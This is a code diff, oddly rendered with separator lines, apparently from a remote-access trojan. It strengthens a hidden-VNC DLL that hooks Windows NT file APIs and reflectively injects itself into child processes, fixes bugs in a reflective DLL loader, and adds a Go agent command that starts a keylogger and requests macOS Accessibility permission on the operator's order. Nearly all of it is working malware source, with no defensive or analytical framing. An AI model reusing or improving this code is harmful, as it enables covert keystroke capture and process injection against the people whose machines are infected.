buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||||
|
|
||||||
if (buffer) {
|
if (buffer) {
|
||||||
originalString = ObjectAttributes->ObjectName;
|
if (newLength > UNICODE_STRING_MAX_WCHARS) {
|
||||||
newString.Buffer = buffer;
|
CrashLog("[NtQueryFullAttribs] WARN: replacement path exceeds UNICODE_STRING max — skipping redirect");
|
||||||
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
HeapFree(GetProcessHeap(), 0, buffer);
|
||||||
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
buffer = NULL;
|
||||||
ObjectAttributes->ObjectName = &newString;
|
} else {
|
||||||
|
originalString = ObjectAttributes->ObjectName;
|
||||||
|
newString.Buffer = buffer;
|
||||||
|
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||||
|
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||||
|
ObjectAttributes->ObjectName = &newString;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -795,7 +910,11 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
return rva - virtualAddr + rawDataPtr;
|
return rva - virtualAddr + rawDataPtr;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (numSections > 0) {
|
// Fallback: if the RVA falls before any section's raw data it maps 1:1.
|
||||||
|
// Guard the read of the first section's PointerToRawData (offset +20) so a
|
||||||
|
// malformed or truncated PE with sectionOff near the end of the buffer does
|
||||||
|
// not produce an out-of-bounds read.
|
||||||
|
if (numSections > 0 && sectionOff + 24 <= peSize) {
|
||||||
DWORD firstRawPtr = *(DWORD*)(pe + sectionOff + 20);
|
DWORD firstRawPtr = *(DWORD*)(pe + sectionOff + 20);
|
||||||
if (rva < firstRawPtr) return rva;
|
if (rva < firstRawPtr) return rva;
|
||||||
}
|
}
|
||||||
@@ -833,6 +952,10 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
if (exportDirRVA == 0) return 0;
|
if (exportDirRVA == 0) return 0;
|
||||||
|
|
||||||
DWORD sectionOff = optOff + sizeOfOptionalHeader;
|
DWORD sectionOff = optOff + sizeOfOptionalHeader;
|
||||||
|
// sizeOfOptionalHeader is an untrusted WORD from the PE header. If it is
|
||||||
|
// abnormally large, sectionOff would exceed peSize and every subsequent
|
||||||
|
// _rva2fo call and section-table read would be out-of-bounds.
|
||||||
|
if (sectionOff > peSize) return 0;
|
||||||
|
|
||||||
// RVA to file offset helper (inline)
|
// RVA to file offset helper (inline)
|
||||||
#define RVA2FO(rva) _rva2fo((rva), pe, peSize, sectionOff, numberOfSections)
|
#define RVA2FO(rva) _rva2fo((rva), pe, peSize, sectionOff, numberOfSections)
|
||||||
@@ -840,6 +963,10 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
if (exportDirFO == 0 || exportDirFO + 40 > peSize) return 0;
|
if (exportDirFO == 0 || exportDirFO + 40 > peSize) return 0;
|
||||||
|
|
||||||
DWORD numberOfNames = *(DWORD*)(pe + exportDirFO + 24);
|
DWORD numberOfNames = *(DWORD*)(pe + exportDirFO + 24);
|
||||||
|
// A legitimately built DLL will have far fewer than 65536 exports. Cap the
|
||||||
|
// value to prevent integer overflow in the loop index arithmetic (i * 4) when
|
||||||
|
// the PE contains an abnormally large numberOfNames.
|
||||||
|
if (numberOfNames > 0x10000) return 0;
|
||||||
DWORD addressOfFunctionsRVA = *(DWORD*)(pe + exportDirFO + 28);
|
DWORD addressOfFunctionsRVA = *(DWORD*)(pe + exportDirFO + 28);
|
||||||
DWORD addressOfNamesRVA = *(DWORD*)(pe + exportDirFO + 32);
|
DWORD addressOfNamesRVA = *(DWORD*)(pe + exportDirFO + 32);
|
||||||
DWORD addressOfOrdinalsRVA = *(DWORD*)(pe + exportDirFO + 36);
|
DWORD addressOfOrdinalsRVA = *(DWORD*)(pe + exportDirFO + 36);
|
||||||
@@ -914,13 +1041,26 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
}
|
}
|
||||||
|
|
||||||
DWORD waitResult = WaitForSingleObject(hThread, 30000);
|
DWORD waitResult = WaitForSingleObject(hThread, 30000);
|
||||||
if (waitResult == WAIT_TIMEOUT) {
|
|
||||||
CrashLog("[ChildInject] WARN: loader thread timed out (30s)");
|
|
||||||
} else {
|
|
||||||
CrashLog("[ChildInject] OK: child injection completed");
|
|
||||||
}
|
|
||||||
CloseHandle(hThread);
|
CloseHandle(hThread);
|
||||||
return TRUE;
|
|
||||||
|
if (waitResult == WAIT_OBJECT_0) {
|
||||||
|
CrashLog("[ChildInject] OK: child injection completed");
|
||||||
|
return TRUE;
|
||||||
|
} else if (waitResult == WAIT_TIMEOUT) {
|
||||||
|
// The loader thread is still running. Returning FALSE causes
|
||||||
|
// HookedCreateProcessW to resume the child with a comment noting that
|
||||||
|
// hooks may not be fully installed yet (fail-open policy: we still
|
||||||
|
// resume to avoid leaving the child process permanently suspended).
|
||||||
|
CrashLog("[ChildInject] WARN: loader thread timed out after 30s — hooks may not be active in child");
|
||||||
|
LogDebug(L"[ChildInject] Loader thread timeout — child will resume without guaranteed hooks");
|
||||||
|
return FALSE;
|
||||||
|
} else {
|
||||||
|
// WAIT_FAILED or any unexpected value
|
||||||
|
char msg[128];
|
||||||
|
sprintf_s(msg, 128, "[ChildInject] FAIL: WaitForSingleObject error 0x%lX", GetLastError());
|
||||||
|
CrashLog(msg);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL WINAPI HookedCreateProcessW(
|
BOOL WINAPI HookedCreateProcessW(
|
||||||
@@ -937,7 +1077,15 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
) {
|
) {
|
||||||
if (!OriginalCreateProcessW) return FALSE;
|
if (!OriginalCreateProcessW) return FALSE;
|
||||||
|
|
||||||
if (!g_HooksInitialized || !g_DllRawBytes || g_DllRawSize == 0) {
|
// Snapshot g_DllRawBytes / g_DllRawSize into locals *before* any check.
|
||||||
|
// RemoveNtApiHooks() can race here: it calls UnmapViewOfFile(g_DllRawBytes)
|
||||||
|
// and sets g_DllRawBytes = NULL on DLL_PROCESS_DETACH. Without the snapshot,
|
||||||
|
// a TOCTOU between the NULL-check below and the use inside ReflectiveInjectIntoChild
|
||||||
|
// would pass the now-unmapped pointer to WriteProcessMemory, causing an AV.
|
||||||
|
const BYTE* localDllBytes = (const BYTE*)g_DllRawBytes;
|
||||||
|
DWORD localDllSize = g_DllRawSize;
|
||||||
|
|
||||||
|
if (!g_HooksInitialized || !localDllBytes || localDllSize == 0) {
|
||||||
return OriginalCreateProcessW(
|
return OriginalCreateProcessW(
|
||||||
lpApplicationName, lpCommandLine,
|
lpApplicationName, lpCommandLine,
|
||||||
lpProcessAttributes, lpThreadAttributes,
|
lpProcessAttributes, lpThreadAttributes,
|
||||||
@@ -961,8 +1109,9 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
if (result && lpProcessInformation) {
|
if (result && lpProcessInformation) {
|
||||||
CrashLog("[CreateProcessW] Injecting DLL into child process...");
|
CrashLog("[CreateProcessW] Injecting DLL into child process...");
|
||||||
LogDebug(L"[CreateProcessW] Reflective-injecting DLL into child process");
|
LogDebug(L"[CreateProcessW] Reflective-injecting DLL into child process");
|
||||||
if (!ReflectiveInjectIntoChild(lpProcessInformation->hProcess,
|
BOOL injected = ReflectiveInjectIntoChild(lpProcessInformation->hProcess,
|
||||||
(const BYTE*)g_DllRawBytes, g_DllRawSize)) {
|
localDllBytes, localDllSize);
|
||||||
|
if (!injected) {
|
||||||
CrashLog("[CreateProcessW] Child injection FAILED");
|
CrashLog("[CreateProcessW] Child injection FAILED");
|
||||||
LogDebug(L"[CreateProcessW] Child injection failed");
|
LogDebug(L"[CreateProcessW] Child injection failed");
|
||||||
} else {
|
} else {
|
||||||
@@ -970,7 +1119,9 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
LogDebug(L"[CreateProcessW] Child injection succeeded");
|
LogDebug(L"[CreateProcessW] Child injection succeeded");
|
||||||
}
|
}
|
||||||
|
|
||||||
// Always resume the child if we suspended it — don't leave zombie processes
|
// Always resume the child if we suspended it — don't leave zombie processes.
|
||||||
|
// Even if injection failed we resume; the child runs without hooks rather than
|
||||||
|
// hanging forever (fail-open policy).
|
||||||
if (!wasSuspended) {
|
if (!wasSuspended) {
|
||||||
ResumeThread(lpProcessInformation->hThread);
|
ResumeThread(lpProcessInformation->hThread);
|
||||||
}
|
}
|
||||||
@@ -984,9 +1135,16 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
// Use a global try-catch to prevent any crashes
|
// Use a global try-catch to prevent any crashes
|
||||||
__try {
|
__try {
|
||||||
__try {
|
__try {
|
||||||
WCHAR crashLogPath[512];
|
WCHAR crashLogPath[1024];
|
||||||
ExpandEnvironmentStringsW(L"%TEMP%\\crashlogovd.log", crashLogPath, 512);
|
ExpandEnvironmentStringsW(L"%TEMP%\\crashlogovd.log", crashLogPath, 1024);
|
||||||
g_CrashLog = CreateFileW(crashLogPath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
g_CrashLog = CreateFileW(crashLogPath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (g_CrashLog != INVALID_HANDLE_VALUE) {
|
||||||
|
// Write UTF-16LE BOM so all log entries (including wide paths) are
|
||||||
|
// readable in any standard text editor on non-English systems.
|
||||||
|
DWORD written;
|
||||||
|
const WCHAR bom = 0xFEFF;
|
||||||
|
WriteFile(g_CrashLog, &bom, sizeof(WCHAR), &written, NULL);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||||
g_CrashLog = INVALID_HANDLE_VALUE;
|
g_CrashLog = INVALID_HANDLE_VALUE;
|
||||||
@@ -996,10 +1154,16 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
|
|
||||||
#if ENABLE_DEBUG_LOGGING
|
#if ENABLE_DEBUG_LOGGING
|
||||||
// Enable verbose logging for debugging
|
// Enable verbose logging for debugging
|
||||||
WCHAR logPath[512];
|
WCHAR logPath[1024];
|
||||||
__try {
|
__try {
|
||||||
ExpandEnvironmentStringsW(L"%TEMP%\\rdi_hooks.log", logPath, 512);
|
ExpandEnvironmentStringsW(L"%TEMP%\\rdi_hooks.log", logPath, 1024);
|
||||||
g_LogFile = CreateFileW(logPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
g_LogFile = CreateFileW(logPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
// Write UTF-16LE BOM for consistent encoding across all log entries.
|
||||||
|
DWORD written;
|
||||||
|
const WCHAR bom = 0xFEFF;
|
||||||
|
WriteFile(g_LogFile, &bom, sizeof(WCHAR), &written, NULL);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||||
g_LogFile = INVALID_HANDLE_VALUE;
|
g_LogFile = INVALID_HANDLE_VALUE;
|
||||||
@@ -1021,20 +1185,34 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
|
|
||||||
// Try to get configuration from environment variables
|
// Try to get configuration from environment variables
|
||||||
__try {
|
__try {
|
||||||
WCHAR envSearchString[512] = { 0 };
|
// Use the same capacity as the global g_SearchString / g_ReplacementString
|
||||||
WCHAR envReplaceString[512] = { 0 };
|
// buffers (2048 WCHARs) so that very long paths are never silently truncated.
|
||||||
|
// GetEnvironmentVariableW returns 0 on error; if the return value equals the
|
||||||
|
// buffer size, the value was truncated — treat that as an error and log it.
|
||||||
|
WCHAR envSearchString[2048] = { 0 };
|
||||||
|
WCHAR envReplaceString[2048] = { 0 };
|
||||||
|
|
||||||
DWORD searchLen = GetEnvironmentVariableW(L"RDI_SEARCH_PATH", envSearchString, 512);
|
DWORD searchLen = GetEnvironmentVariableW(L"RDI_SEARCH_PATH", envSearchString, 2048);
|
||||||
DWORD replaceLen = GetEnvironmentVariableW(L"RDI_REPLACE_PATH", envReplaceString, 512);
|
DWORD replaceLen = GetEnvironmentVariableW(L"RDI_REPLACE_PATH", envReplaceString, 2048);
|
||||||
|
|
||||||
if (searchLen > 0 && searchLen < 512 && replaceLen > 0 && replaceLen < 512) {
|
// A return value >= buffer capacity means the value was truncated.
|
||||||
|
if (searchLen >= 2048) {
|
||||||
|
CrashLog("[ENV] WARN: RDI_SEARCH_PATH is >= 2048 chars and was truncated — path redirection disabled");
|
||||||
|
searchLen = 0;
|
||||||
|
}
|
||||||
|
if (replaceLen >= 2048) {
|
||||||
|
CrashLog("[ENV] WARN: RDI_REPLACE_PATH is >= 2048 chars and was truncated — path redirection disabled");
|
||||||
|
replaceLen = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (searchLen > 0 && replaceLen > 0) {
|
||||||
CrashLog("[ENV] Search/Replace paths found");
|
CrashLog("[ENV] Search/Replace paths found");
|
||||||
CrashLogW(envSearchString);
|
CrashLogW(envSearchString);
|
||||||
CrashLog(" -> ");
|
CrashLog(" -> ");
|
||||||
CrashLogW(envReplaceString);
|
CrashLogW(envReplaceString);
|
||||||
wcsncpy_s(g_SearchString, 512, envSearchString, searchLen);
|
wcsncpy_s(g_SearchString, 2048, envSearchString, searchLen);
|
||||||
g_SearchString[searchLen] = L'\0';
|
g_SearchString[searchLen] = L'\0';
|
||||||
wcsncpy_s(g_ReplacementString, 512, envReplaceString, replaceLen);
|
wcsncpy_s(g_ReplacementString, 2048, envReplaceString, replaceLen);
|
||||||
g_ReplacementString[replaceLen] = L'\0';
|
g_ReplacementString[replaceLen] = L'\0';
|
||||||
|
|
||||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
@@ -1057,18 +1235,45 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Read DLL section for child process injection (in-memory, no file on disk)
|
// Read DLL section for child process injection (in-memory, no file on disk).
|
||||||
|
// Section names are kernel object names — MAX_PATH (260) is more than enough,
|
||||||
|
// but we use 512 to be safe. DLL size is a plain decimal number, 32 is ample.
|
||||||
WCHAR envSectionName[512] = { 0 };
|
WCHAR envSectionName[512] = { 0 };
|
||||||
WCHAR envDllSize[32] = { 0 };
|
WCHAR envDllSize[32] = { 0 };
|
||||||
DWORD sectionNameLen = GetEnvironmentVariableW(L"RDI_DLL_SECTION", envSectionName, 512);
|
DWORD sectionNameLen = GetEnvironmentVariableW(L"RDI_DLL_SECTION", envSectionName, 512);
|
||||||
DWORD dllSizeLen = GetEnvironmentVariableW(L"RDI_DLL_SIZE", envDllSize, 32);
|
DWORD dllSizeLen = GetEnvironmentVariableW(L"RDI_DLL_SIZE", envDllSize, 32);
|
||||||
|
|
||||||
if (sectionNameLen > 0 && sectionNameLen < 512 && dllSizeLen > 0 && dllSizeLen < 32) {
|
if (sectionNameLen >= 512) {
|
||||||
g_DllRawSize = 0;
|
CrashLog("[ENV] WARN: RDI_DLL_SECTION is >= 512 chars and was truncated — child injection disabled");
|
||||||
|
sectionNameLen = 0;
|
||||||
|
}
|
||||||
|
if (dllSizeLen >= 32) {
|
||||||
|
CrashLog("[ENV] WARN: RDI_DLL_SIZE is >= 32 chars and was truncated — child injection disabled");
|
||||||
|
dllSizeLen = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (sectionNameLen > 0 && dllSizeLen > 0) {
|
||||||
|
// Validate that every character is an ASCII digit before converting.
|
||||||
|
// On non-English systems the string could theoretically contain locale-
|
||||||
|
// specific digit characters (e.g. Arabic-Indic numerals) which would
|
||||||
|
// cause the old subtraction-based parser to produce garbage values and
|
||||||
|
// later crash when MapViewOfFile mapped the wrong size.
|
||||||
|
BOOL allDigits = TRUE;
|
||||||
for (DWORD i = 0; i < dllSizeLen; i++) {
|
for (DWORD i = 0; i < dllSizeLen; i++) {
|
||||||
g_DllRawSize = g_DllRawSize * 10 + (envDllSize[i] - L'0');
|
if (envDllSize[i] < L'0' || envDllSize[i] > L'9') { allDigits = FALSE; break; }
|
||||||
|
}
|
||||||
|
if (allDigits) {
|
||||||
|
WCHAR* endPtr = NULL;
|
||||||
|
g_DllRawSize = (DWORD)wcstoul(envDllSize, &endPtr, 10);
|
||||||
|
} else {
|
||||||
|
g_DllRawSize = 0;
|
||||||
|
CrashLog("[ENV] WARN: RDI_DLL_SIZE contains non-digit characters — child injection disabled");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (g_DllRawSize == 0) {
|
||||||
|
CrashLog("[ENV] WARN: g_DllRawSize is 0 after parsing — skipping section open");
|
||||||
|
goto skip_section_open;
|
||||||
|
}
|
||||||
g_DllSectionHandle = OpenFileMappingW(FILE_MAP_READ, FALSE, envSectionName);
|
g_DllSectionHandle = OpenFileMappingW(FILE_MAP_READ, FALSE, envSectionName);
|
||||||
if (g_DllSectionHandle) {
|
if (g_DllSectionHandle) {
|
||||||
g_DllRawBytes = MapViewOfFile(g_DllSectionHandle, FILE_MAP_READ, 0, 0, g_DllRawSize);
|
g_DllRawBytes = MapViewOfFile(g_DllSectionHandle, FILE_MAP_READ, 0, 0, g_DllRawSize);
|
||||||
@@ -1095,6 +1300,7 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
LogDebugA("[ENV] OpenFileMappingW failed for DLL section");
|
LogDebugA("[ENV] OpenFileMappingW failed for DLL section");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
skip_section_open:;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||||
@@ -1249,13 +1455,36 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
|
|||||||
CrashLog("=== Removing hooks ===");
|
CrashLog("=== Removing hooks ===");
|
||||||
LogDebugA("=== Removing hooks ===");
|
LogDebugA("=== Removing hooks ===");
|
||||||
g_HooksInitialized = FALSE;
|
g_HooksInitialized = FALSE;
|
||||||
|
|
||||||
|
// Disable JMP patches in all target functions.
|
||||||
MH_DisableHook(MH_ALL_HOOKS);
|
MH_DisableHook(MH_ALL_HOOKS);
|
||||||
|
|
||||||
|
// Give any thread that passed the g_HooksInitialized guard but has not yet
|
||||||
|
// called Original*() a brief window to finish. This is a best-effort
|
||||||
|
// mitigation; a proper fix requires a reader-writer barrier (e.g. SRWLOCK).
|
||||||
|
Sleep(50);
|
||||||
|
|
||||||
|
// Free trampoline memory. After this point the Original* pointers are
|
||||||
|
// dangling. NULL them immediately so any racing thread that calls through
|
||||||
|
// them gets a clean NULL-dereference AV (caught by the hook's __try/__except)
|
||||||
|
// rather than a use-after-free at an arbitrary freed address.
|
||||||
MH_Uninitialize();
|
MH_Uninitialize();
|
||||||
|
|
||||||
|
OriginalNtCreateFile = NULL;
|
||||||
|
OriginalNtOpenFile = NULL;
|
||||||
|
OriginalNtDeleteFile = NULL;
|
||||||
|
OriginalNtSetInformationFile = NULL;
|
||||||
|
OriginalNtQueryAttributesFile = NULL;
|
||||||
|
OriginalNtQueryFullAttributesFile = NULL;
|
||||||
|
OriginalNtQueryDirectoryFile = NULL;
|
||||||
|
OriginalNtQueryDirectoryFileEx = NULL;
|
||||||
|
OriginalCreateProcessW = NULL;
|
||||||
|
|
||||||
if (g_DllRawBytes) {
|
if (g_DllRawBytes) {
|
||||||
UnmapViewOfFile(g_DllRawBytes);
|
UnmapViewOfFile(g_DllRawBytes);
|
||||||
g_DllRawBytes = NULL;
|
g_DllRawBytes = NULL;
|
||||||
}
|
}
|
||||||
|
g_DllRawSize = 0;
|
||||||
if (g_DllSectionHandle) {
|
if (g_DllSectionHandle) {
|
||||||
CloseHandle(g_DllSectionHandle);
|
CloseHandle(g_DllSectionHandle);
|
||||||
g_DllSectionHandle = NULL;
|
g_DllSectionHandle = NULL;
|
||||||
|
|||||||
@@ -301,6 +301,12 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
|||||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
|
||||||
|
// Guard against allocation failure (out-of-memory, ACG/CFG policy, etc.).
|
||||||
|
// Without this check, every subsequent write to uiBaseAddress would be a
|
||||||
|
// write through NULL — an access violation in the remote process.
|
||||||
|
if (!uiBaseAddress)
|
||||||
|
return 0;
|
||||||
|
|
||||||
// we must now copy over the headers
|
// we must now copy over the headers
|
||||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||||
uiValueB = uiLibraryAddress;
|
uiValueB = uiLibraryAddress;
|
||||||
@@ -510,7 +516,9 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
|||||||
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
|
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
|
||||||
|
|
||||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||||
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
// Guard against pNtFlushInstructionCache being NULL (e.g. if ntdll was not found in the PEB module list).
|
||||||
|
if (pNtFlushInstructionCache)
|
||||||
|
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||||
|
|
||||||
// call our respective entry point, fudging our hInstance value
|
// call our respective entry point, fudging our hInstance value
|
||||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
|||||||
@@ -3,13 +3,35 @@
|
|||||||
#define _HVNC_SEH_COMPAT_H
|
#define _HVNC_SEH_COMPAT_H
|
||||||
|
|
||||||
#ifdef __MINGW32__
|
#ifdef __MINGW32__
|
||||||
// MinGW doesn't support MSVC structured exception handling.
|
#if defined(NDEBUG)
|
||||||
// Replace __try/__except with plain code execution (no SEH guard).
|
// Catch accidental production use of MinGW builds: without real SEH every hardware
|
||||||
|
// exception inside a hook function will crash the host process uncaught.
|
||||||
|
#error "MinGW SEH stubs must not be used in Release/production (NDEBUG) builds. Use MSVC (v143) for all production targets."
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// MinGW does not implement MSVC Structured Exception Handling (__try/__except).
|
||||||
|
// These macros replace every __try/__except block with unguarded straight-line
|
||||||
|
// code: the __try body executes unconditionally, and the __except body is
|
||||||
|
// compiled away (the condition "if (0)" is never true).
|
||||||
|
//
|
||||||
|
// PRODUCTION SAFETY WARNING:
|
||||||
|
// Any access violation, illegal instruction, or other hardware exception that
|
||||||
|
// occurs inside a hook function on a MinGW build will propagate UNCAUGHT into
|
||||||
|
// the host process and crash it. On MSVC builds the same exception is caught
|
||||||
|
// by the __except handler, logged to the crash log, and the host process
|
||||||
|
// continues running.
|
||||||
|
//
|
||||||
|
// MinGW builds are therefore NOT safe for production use on any Windows
|
||||||
|
// locale. Use MSVC (Visual Studio 2022 / v143 toolset) for production
|
||||||
|
// builds. The MinGW path exists only for build-system compatibility during
|
||||||
|
// development.
|
||||||
#define __try
|
#define __try
|
||||||
#define __except(x) if (0)
|
#define __except(x) if (0)
|
||||||
#define __finally
|
#define __finally
|
||||||
|
|
||||||
// MSVC uses GetExceptionCode() inside __except; provide a stub.
|
// MSVC provides GetExceptionCode() as an intrinsic inside __except filters.
|
||||||
|
// Provide a stub that always returns 0 so that the (dead) exception-handler
|
||||||
|
// body compiles without error under MinGW.
|
||||||
#ifndef GetExceptionCode
|
#ifndef GetExceptionCode
|
||||||
#define GetExceptionCode() 0
|
#define GetExceptionCode() 0
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -2276,6 +2276,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
resumePid = int32(p)
|
resumePid = int32(p)
|
||||||
}
|
}
|
||||||
return HandleProcessResume(ctx, env, cmdID, resumePid)
|
return HandleProcessResume(ctx, env, cmdID, resumePid)
|
||||||
|
case "keylog_request_permission":
|
||||||
|
return HandleKeylogRequestPermission(ctx, env, cmdID)
|
||||||
case "keylog_list":
|
case "keylog_list":
|
||||||
return HandleKeylogList(ctx, env, cmdID)
|
return HandleKeylogList(ctx, env, cmdID)
|
||||||
case "keylog_retrieve":
|
case "keylog_retrieve":
|
||||||
|
|||||||
@@ -9,6 +9,77 @@ import (
|
|||||||
"overlord-client/cmd/agent/wire"
|
"overlord-client/cmd/agent/wire"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// HandleKeylogRequestPermission handles the keylog_request_permission command.
|
||||||
|
// On macOS it triggers the Accessibility permission prompt and reports back
|
||||||
|
// whether permission was granted. On other platforms it reports that no
|
||||||
|
// permission gate exists and the keylogger is already running (or starts it).
|
||||||
|
func HandleKeylogRequestPermission(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||||
|
if env.Keylogger == nil {
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||||
|
"type": "keylog_permission_result",
|
||||||
|
"commandId": cmdID,
|
||||||
|
"granted": false,
|
||||||
|
"reason": "keylogger_disabled",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
if !env.Keylogger.NeedsPermissionGate() {
|
||||||
|
// Non-macOS: keylogger doesn't need an explicit permission gate.
|
||||||
|
// Ensure it is running (it should already be) and report granted.
|
||||||
|
if !env.Keylogger.IsRunning() {
|
||||||
|
if err := env.Keylogger.Start(); err != nil {
|
||||||
|
log.Printf("[keylogger] start error: %v", err)
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||||
|
"type": "keylog_permission_result",
|
||||||
|
"commandId": cmdID,
|
||||||
|
"granted": false,
|
||||||
|
"reason": err.Error(),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||||
|
"type": "keylog_permission_result",
|
||||||
|
"commandId": cmdID,
|
||||||
|
"granted": true,
|
||||||
|
"reason": "no_permission_gate",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// macOS: trigger the OS accessibility prompt and wait for the result.
|
||||||
|
log.Printf("[keylogger] macOS: requesting accessibility permission")
|
||||||
|
granted := env.Keylogger.RequestPermission()
|
||||||
|
|
||||||
|
if granted {
|
||||||
|
// Start the keylogger now that we have permission.
|
||||||
|
if !env.Keylogger.IsRunning() {
|
||||||
|
if err := env.Keylogger.Start(); err != nil {
|
||||||
|
log.Printf("[keylogger] start after permission grant failed: %v", err)
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||||
|
"type": "keylog_permission_result",
|
||||||
|
"commandId": cmdID,
|
||||||
|
"granted": false,
|
||||||
|
"reason": "start_failed: " + err.Error(),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
log.Printf("[keylogger] macOS accessibility permission granted, keylogger started")
|
||||||
|
} else {
|
||||||
|
log.Printf("[keylogger] macOS accessibility permission denied")
|
||||||
|
}
|
||||||
|
|
||||||
|
reason := "granted"
|
||||||
|
if !granted {
|
||||||
|
reason = "user_denied"
|
||||||
|
}
|
||||||
|
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||||
|
"type": "keylog_permission_result",
|
||||||
|
"commandId": cmdID,
|
||||||
|
"granted": granted,
|
||||||
|
"reason": reason,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
const MaxChunkSize = 256 * 1024
|
const MaxChunkSize = 256 * 1024
|
||||||
|
|
||||||
